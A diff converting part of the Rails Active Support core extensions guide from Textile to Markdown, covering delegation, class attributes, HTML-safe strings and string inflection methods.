-By default, if the delegation raises +NoMethodError+ and the target is +nil+ the exception is propagated. You can ask that +nil+ is returned instead with the +:allow_nil+ option:
+By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option:
-<ruby>
+```ruby
delegate :name, :to => :profile, :allow_nil => true
-</ruby>
+```
-With +:allow_nil+ the call +user.name+ returns +nil+ if the user has no profile.
+With `:allow_nil` the call `user.name` returns `nil` if the user has no profile.
-The option +:prefix+ adds a prefix to the name of the generated method. This may be handy for example to get a better name:
+The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name:
-<ruby>
+```ruby
delegate :street, :to => :address, :prefix => true
-</ruby>
+```
-The previous example generates +address_street+ rather than +street+.
+The previous example generates `address_street` rather than `street`.
-WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the +:to+ option must be a method name.
+WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name.
A custom prefix may also be configured:
-<ruby>
+```ruby
delegate :size, :to => :attachment, :prefix => :avatar
-</ruby>
+```
-In the previous example the macro generates +avatar_size+ rather than +size+.
+In the previous example the macro generates `avatar_size` rather than `size`.
-NOTE: Defined in +active_support/core_ext/module/delegation.rb+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`
-h4. Redefining Methods
+### Redefining Methods
-There are cases where you need to define a method with +define_method+, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
+There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
-The method +redefine_method+ prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
-<ruby>
+```ruby
redefine_method("#{reflection.name}=") do |new_value|
association = association_instance_get(reflection.name)
@@ -959,19 +963,20 @@ redefine_method("#{reflection.name}=") do |new_value|
association.replace(new_value)
association_instance_set(reflection.name, new_value.nil? ? nil : association)
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/module/remove_method.rb+
+NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
-h3. Extensions to +Class+
+Extensions to `Class`
+---------------------
-h4. Class Attributes
+### Class Attributes
-h5. +class_attribute+
+#### `class_attribute`
-The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
+The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
-<ruby>
+```ruby
class A
class_attribute :x
end
@@ -991,11 +996,11 @@ C.x # => :b
C.x = :c
A.x # => :a
B.x # => :b
-</ruby>
+```
-For example +ActionMailer::Base+ defines:
+For example `ActionMailer::Base` defines:
-<ruby>
+```ruby
class_attribute :default_params
self.default_params = {
:mime_version => "1.0",
@@ -1003,11 +1008,11 @@ self.default_params = {
:content_type => "text/plain",
:parts_order => [ "text/plain", "text/enriched", "text/html" ]
}.freeze
-</ruby>
+```
They can be also accessed and overridden at the instance level.
-<ruby>
+```ruby
A.x = 1
a1 = A.new
@@ -1016,65 +1021,65 @@ a2.x = 2
a1.x # => 1, comes from A
a2.x # => 2, overridden in a2
-</ruby>
+```
-The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+.
+The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`.
-<ruby>
+```ruby
module ActiveRecord
class Base
class_attribute :table_name_prefix, :instance_writer => false
self.table_name_prefix = ""
end
end
-</ruby>
+```
A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
-The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+.
+The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`.
-<ruby>
+```ruby
class A
class_attribute :x, :instance_reader => false
end
A.new.x = 1 # NoMethodError
-</ruby>
+```
-For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+.
+For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`.
-When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodError+ just like the reader method.
+When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.
-NOTE: Defined in +active_support/core_ext/class/attribute.rb+
+NOTE: Defined in `active_support/core_ext/class/attribute.rb`
-h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+
+#### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
-The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
+The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:
-<ruby>
+```ruby
class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans.
cattr_accessor :emulate_booleans
self.emulate_booleans = true
end
-</ruby>
+```
-Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with +class_attribute+ (see above). For example given
+Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given
-<ruby>
+```ruby
module ActionView
class Base
cattr_accessor :field_error_proc
@@field_error_proc = Proc.new{ ... }
end
end
-</ruby>
+```
-we can access +field_error_proc+ in views.
+we can access `field_error_proc` in views.
-The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value.
+The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
-<ruby>
+```ruby
module A
class B
# No first_name instance reader is generated.
@@ -1085,19 +1090,19 @@ module A
cattr_accessor :surname, :instance_accessor => false
end
end
-</ruby>
+```
-A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute.
+A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
-NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+.
+NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
-h4. Subclasses & Descendants
+### Subclasses & Descendants
-h5. +subclasses+
+#### `subclasses`
-The +subclasses+ method returns the subclasses of the receiver:
+The `subclasses` method returns the subclasses of the receiver:
-<ruby>
+```ruby
class C; end
C.subclasses # => []
@@ -1109,19 +1114,19 @@ C.subclasses # => [B]
class D < C; end
C.subclasses # => [B, D]
-</ruby>
+```
The order in which these classes are returned is unspecified.
WARNING: This method is redefined in some Rails core classes but should be all compatible in Rails 3.1.
-NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
-h5. +descendants+
+#### `descendants`
-The +descendants+ method returns all classes that are <tt>&lt;</tt> than its receiver:
+The `descendants` method returns all classes that are `<` than its receiver:
-<ruby>
+```ruby
class C; end
C.descendants # => []
@@ -1133,180 +1138,181 @@ C.descendants # => [B, A]
class D < C; end
C.descendants # => [B, A, D]
-</ruby>
+```
The order in which these classes are returned is unspecified.
-NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
-h3. Extensions to +String+
+Extensions to `String`
+----------------------
-h4. Output Safety
+### Output Safety
-h5. Motivation
+#### Motivation
-Inserting data into HTML templates needs extra care. For example, you can't just interpolate +@review.title+ verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks.
+Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks.
-h5. Safe Strings
+#### Safe Strings
Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
Strings are considered to be <i>unsafe</i> by default:
-<ruby>
+```ruby
"".html_safe? # => false
-</ruby>
+```
-You can obtain a safe string from a given one with the +html_safe+ method:
+You can obtain a safe string from a given one with the `html_safe` method:
-<ruby>
+```ruby
s = "".html_safe
s.html_safe? # => true
-</ruby>
+```
-It is important to understand that +html_safe+ performs no escaping whatsoever, it is just an assertion:
+It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion:
-<ruby>
+```ruby
s = "<script>...</script>".html_safe
s.html_safe? # => true
s # => "<script>...</script>"
-</ruby>
+```
-It is your responsibility to ensure calling +html_safe+ on a particular string is fine.
+It is your responsibility to ensure calling `html_safe` on a particular string is fine.
-If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped:
+If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped:
-<ruby>
+```ruby
"".html_safe + "<" # => "&lt;"
-</ruby>
+```
Safe arguments are directly appended:
-<ruby>
+```ruby
"".html_safe + "<".html_safe # => "<"
-</ruby>
+```
These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped:
-<erb>
+```erb
<%= @review.title %> <%# fine in Rails 3, escaped if needed %>
-</erb>
+```
-To insert something verbatim use the +raw+ helper rather than calling +html_safe+:
+To insert something verbatim use the `raw` helper rather than calling `html_safe`:
-<erb>
+```erb
<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
+```
-or, equivalently, use <tt><%==</tt>:
+or, equivalently, use `<%==`:
-<erb>
+```erb
<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
+```
-The +raw+ helper calls +html_safe+ for you:
+The `raw` helper calls `html_safe` for you:
-<ruby>
+```ruby
def raw(stringish)
stringish.to_s.html_safe
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/output_safety.rb+.
+NOTE: Defined in `active_support/core_ext/string/output_safety.rb`.
-h5. Transformation
+#### Transformation
-As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +downcase+, +gsub+, +strip+, +chomp+, +underscore+, etc.
+As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.
-In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe.
+In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe.
INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
-h5. Conversion and Coercion
+#### Conversion and Coercion
-Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string.
+Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string.
-h5. Copying
+#### Copying
-Calling +dup+ or +clone+ on safe strings yields safe strings.
+Calling `dup` or `clone` on safe strings yields safe strings.
-h4. +squish+
+### `squish`
-The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
-<ruby>
+```ruby
" \n foo\n\r \t bar \n".squish # => "foo bar"
-</ruby>
+```
-There's also the destructive version +String#squish!+.
+There's also the destructive version `String#squish!`.
-NOTE: Defined in +active_support/core_ext/string/filters.rb+.
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
-h4. +truncate+
+### `truncate`
-The method +truncate+ returns a copy of its receiver truncated after a given +length+:
+The method `truncate` returns a copy of its receiver truncated after a given `length`:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."
-</ruby>
+```
-Ellipsis can be customized with the +:omission+ option:
+Ellipsis can be customized with the `:omission` option:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '&hellip;')
# => "Oh dear! Oh &hellip;"
-</ruby>
+```
Note in particular that truncation takes into account the length of the omission string.
-Pass a +:separator+ to truncate the string at a natural break:
+Pass a `:separator` to truncate the string at a natural break:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(18)
# => "Oh dear! Oh dea..."
"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ')
# => "Oh dear! Oh..."
-</ruby>
+```
-The option +:separator+ can be a regexp:
+The option `:separator` can be a regexp:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => /\s/)
# => "Oh dear! Oh..."
-</ruby>
+```
-In above examples "dear" gets cut first, but then +:separator+ prevents it.
+In above examples "dear" gets cut first, but then `:separator` prevents it.
-NOTE: Defined in +active_support/core_ext/string/filters.rb+.
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
-h4. +inquiry+
+### `inquiry`
-The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object making equality checks prettier.
+The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
-<ruby>
+```ruby
"production".inquiry.production? # => true
"active".inquiry.inactive? # => false
-</ruby>
+```
-h4. +starts_with?+ and +ends_with?+
+### `starts_with?` and `ends_with?`
-Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+:
+Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:
-<ruby>
+```ruby
"foo".starts_with?("f") # => true
"foo".ends_with?("o") # => true
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+.
+NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`.
-h4. +strip_heredoc+
+### `strip_heredoc`
-The method +strip_heredoc+ strips indentation in heredocs.
+The method `strip_heredoc` strips indentation in heredocs.
For example in
-<ruby>
+```ruby
if options[:usage]
puts <<-USAGE.strip_heredoc
This command does such and such.
@@ -1316,20 +1322,20 @@ if options[:usage]
...
USAGE
end
-</ruby>
+```
the user would see the usage message aligned against the left margin.
Technically, it looks for the least indented line in the whole string, and removes
that amount of leading whitespace.
-NOTE: Defined in +active_support/core_ext/string/strip.rb+.
+NOTE: Defined in `active_support/core_ext/string/strip.rb`.
-h4. +indent+
+### `indent`
Indents the lines in the receiver:
-<ruby>
+```ruby
<<EOS.indent(2)
def some_method
some_code
@@ -1339,216 +1345,212 @@ EOS
def some_method
some_code
end
-</ruby>
+```
-The second argument, +indent_string+, specifies which indent string to use. The default is +nil+, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
+The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
-<ruby>
+```ruby
" foo".indent(2) # => " foo"
"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
"foo".indent(2, "\t") # => "\t\tfoo"
-</ruby>
+```
-While +indent_string+ is tipically one space or tab, it may be any string.
+While `indent_string` is tipically one space or tab, it may be any string.
-The third argument, +indent_empty_lines+, is a flag that says whether empty lines should be indented. Default is false.
+The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false.
-<ruby>
+```ruby
"foo\n\nbar".indent(2) # => " foo\n\n bar"
"foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar"
-</ruby>
+```
-The +indent!+ method performs indentation in-place.
+The `indent!` method performs indentation in-place.
-h4. Access
+### Access
-h5. +at(position)+
+#### `at(position)`
-Returns the character of the string at position +position+:
+Returns the character of the string at position `position`:
-<ruby>
+```ruby
"hello".at(0) # => "h"
"hello".at(4) # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => nil
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
-h5. +from(position)+
+#### `from(position)`
-Returns the substring of the string starting at position +position+:
+Returns the substring of the string starting at position `position`:
-<ruby>
+```ruby
"hello".from(0) # => "hello"
"hello".from(2) # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => "" if < 1.9, nil in 1.9
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
-h5. +to(position)+
+#### `to(position)`
-Returns the substring of the string up to position +position+:
+Returns the substring of the string up to position `position`:
-<ruby>
+```ruby
"hello".to(0) # => "h"
"hello".to(2) # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
-h5. +first(limit = 1)+
+#### `first(limit = 1)`
-The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0.
+The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0.
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
-h5. +last(limit = 1)+
+#### `last(limit = 1)`
-The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0.
+The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0.
-NOTE: Defined in +active_support/core_ext/string/access.rb+.
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
-h4. Inflections
+### Inflections
-h5. +pluralize+
+#### `pluralize`
-The method +pluralize+ returns the plural of its receiver:
+The method `pluralize` returns the plural of its receiver:
-<ruby>
+```ruby
"table".pluralize # => "tables"
"ruby".pluralize # => "rubies"
"equipment".pluralize # => "equipment"
-</ruby>
+```
-As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments.
+As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.
-+pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned:
+`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
-<ruby>
+```ruby
"dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"
-</ruby>
+```
Active Record uses this method to compute the default table name that corresponds to a model:
-<ruby>
+```ruby
# active_record/base.rb
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
table_name = table_name.pluralize if pluralize_table_names
table_name
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +singularize+
+#### `singularize`
-The inverse of +pluralize+:
+The inverse of `pluralize`:
-<ruby>
+```ruby
"tables".singularize # => "table"
"rubies".singularize # => "ruby"
"equipment".singularize # => "equipment"
-</ruby>
+```
Associations compute the name of the corresponding default associated class using this method:
-<ruby>
+```ruby
# active_record/reflection.rb
def derive_class_name
class_name = name.to_s.camelize
class_name = class_name.singularize if collection?
class_name
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +camelize+
+#### `camelize`
-The method +camelize+ returns its receiver in camel case:
+The method `camelize` returns its receiver in camel case:
-<ruby>
+```ruby
"product".camelize # => "Product"
"admin_user".camelize # => "AdminUser"
-</ruby>
+```
As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
-<ruby>
+```ruby
"backoffice/session".camelize # => "Backoffice::Session"
-</ruby>
+```
For example, Action Pack uses this method to load the class that provides a certain session store:
-<ruby>
+```ruby
# action_controller/metal/session_management.rb
def session_store=(store)
- if store == :active_record_store
- self.session_store = ActiveRecord::SessionStore
- else
- @@session_store = store.is_a?(Symbol) ?
- ActionDispatch::Session.const_get(store.to_s.camelize) :
- store
- end
+ @@session_store = store.is_a?(Symbol) ?
+ ActionDispatch::Session.const_get(store.to_s.camelize) :
+ store
end
-</ruby>
+```
-+camelize+ accepts an optional argument, it can be +:upper+ (default), or +:lower+. With the latter the first letter becomes lowercase:
+`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase:
-<ruby>
+```ruby
"visual_effect".camelize(:lower) # => "visualEffect"
-</ruby>
+```
That may be handy to compute method names in a language that follows that convention, for example JavaScript.
-INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+:
+INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`:
-<ruby>
+```ruby
ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym 'SSL'
end
"SSLError".underscore.camelize #=> "SSLError"
-</ruby>
+```
-+camelize+ is aliased to +camelcase+.
+`camelize` is aliased to `camelcase`.
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +underscore+
+#### `underscore`
-The method +underscore+ goes the other way around, from camel case to paths:
+The method `underscore` goes the other way around, from camel case to paths:
-<ruby>
+```ruby
"Product".underscore # => "product"
"AdminUser".underscore # => "admin_user"
-</ruby>
+```
Also converts "::" back to "/":
-<ruby>
+```ruby
"Backoffice::Session".underscore # => "backoffice/session"
-</ruby>
+```
and understands strings that start with lowercase:
-<ruby>
+```ruby
"visualEffect".underscore # => "visual_effect"
-</ruby>
+```
-+underscore+ accepts no argument though.
+`underscore` accepts no argument though.
-Rails class and module autoloading uses +underscore+ to infer the relative path without extension of a file that would define a given missing constant:
+Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant:
-<ruby>
+```ruby
# active_support/dependencies.rb
def load_missing_constant(from_mod, const_name)
...
@@ -1556,59 +1558,59 @@ def load_missing_constant(from_mod, const_name)
path_suffix = qualified_name.underscore
...
end
-</ruby>
+```
-INFO: As a rule of thumb you can think of +underscore+ as the inverse of +camelize+, though there are cases where that does not hold. For example, <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>.
+INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +titleize+
+#### `titleize`
-The method +titleize+ capitalizes the words in the receiver:
+The method `titleize` capitalizes the words in the receiver:
-<ruby>
+```ruby
"alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize # => "Fermat's Enigma"
-</ruby>
+```
-+titleize+ is aliased to +titlecase+.
+`titleize` is aliased to `titlecase`.
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +dasherize+
+#### `dasherize`
-The method +dasherize+ replaces the underscores in the receiver with dashes:
+The method `dasherize` replaces the underscores in the receiver with dashes:
-<ruby>
+```ruby
"name".dasherize # => "name"
"contact_data".dasherize # => "contact-data"
-</ruby>
+```
The XML serializer of models uses this method to dasherize node names:
-<ruby>
+```ruby
# active_model/serializers/xml.rb
def reformat_name(name)
name = name.camelize if camelize?
dasherize? ? name.dasherize : name
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +demodulize+
+#### `demodulize`
-Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it:
+Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it:
-<ruby>
+```ruby
"Product".demodulize # => "Product"
"Backoffice::UsersController".demodulize # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
-</ruby>
+```
Active Record for example uses this method to compute the name of a counter cache column:
-<ruby>
+```ruby
# active_record/reflection.rb
def counter_cache_column
if options[:counter_cache] == true
@@ -1617,23 +1619,23 @@ def counter_cache_column
options[:counter_cache]
end
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +deconstantize+
+#### `deconstantize`
-Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container:
+Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container:
-<ruby>
+```ruby
"Product".deconstantize # => ""
"Backoffice::UsersController".deconstantize # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
-</ruby>
+```
-Active Support for example uses this method in +Module#qualified_const_set+:
+Active Support for example uses this method in `Module#qualified_const_set`:
-<ruby>
+```ruby
def qualified_const_set(path, value)
QualifiedConstUtils.raise_if_absolute(path)
@@ -1642,75 +1644,75 @@ def qualified_const_set(path, value)
mod = mod_name.empty? ? self : qualified_const_get(mod_name)
mod.const_set(const_name, value)
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +parameterize+
+#### `parameterize`
-The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs.
+The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs.
-<ruby>
+```ruby
"John Smith".parameterize # => "john-smith"
"Kurt Gödel".parameterize # => "kurt-godel"
-</ruby>
+```
-In fact, the result string is wrapped in an instance of +ActiveSupport::Multibyte::Chars+.
+In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`.
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +tableize+
+#### `tableize`
-The method +tableize+ is +underscore+ followed by +pluralize+.
+The method `tableize` is `underscore` followed by `pluralize`.
-<ruby>
+```ruby
"Person".tableize # => "people"
"Invoice".tableize # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"
-</ruby>
+```
-As a rule of thumb, +tableize+ returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight +tableize+ indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
+As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +classify+
+#### `classify`
-The method +classify+ is the inverse of +tableize+. It gives you the class name corresponding to a table name:
+The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name:
-<ruby>
+```ruby
"people".classify # => "Person"
"invoices".classify # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"
-</ruby>
+```
The method understands qualified table names:
-<ruby>
+```ruby
"highrise_production.companies".classify # => "Company"
-</ruby>
+```
-Note that +classify+ returns a class name as a string. You can get the actual class object invoking +constantize+ on it, explained next.
+Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next.
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +constantize+
+#### `constantize`
-The method +constantize+ resolves the constant reference expression in its receiver:
+The method `constantize` resolves the constant reference expression in its receiver:
-<ruby>
+```ruby
"Fixnum".constantize # => Fixnum
module M
X = 1
end
"M::X".constantize # => 1
-</ruby>
+```
-If the string evaluates to no known constant, or its content is not even a valid constant name, +constantize+ raises +NameError+.
+If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`.
-Constant name resolution by +constantize+ starts always at the top-level +Object+ even if there is no leading "::".
+Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::".
-<ruby>
+```ruby
X = :in_Object
module M
X = :in_M
@@ -1719,36 +1721,36 @@ module M
"::X".constantize # => :in_Object
"X".constantize # => :in_Object (!)
end
-</ruby>
+```
So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
-Mailer test cases obtain the mailer being tested from the name of the test class using +constantize+:
+Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`:
-<ruby>
+```ruby
# action_mailer/test_case.rb
def determine_default_mailer(name)
name.sub(/Test$/, '').constantize
rescue NameError => e
raise NonInferrableMailerError.new(name)
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +humanize+
+#### `humanize`
-The method +humanize+ gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
+The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
-<ruby>
+```ruby
"name".humanize # => "Name"
"author_id".humanize # => "Author"
"comments_count".humanize # => "Comments count"
-</ruby>
+```
-The helper method +full_messages+ uses +humanize+ as a fallback to include attribute names:
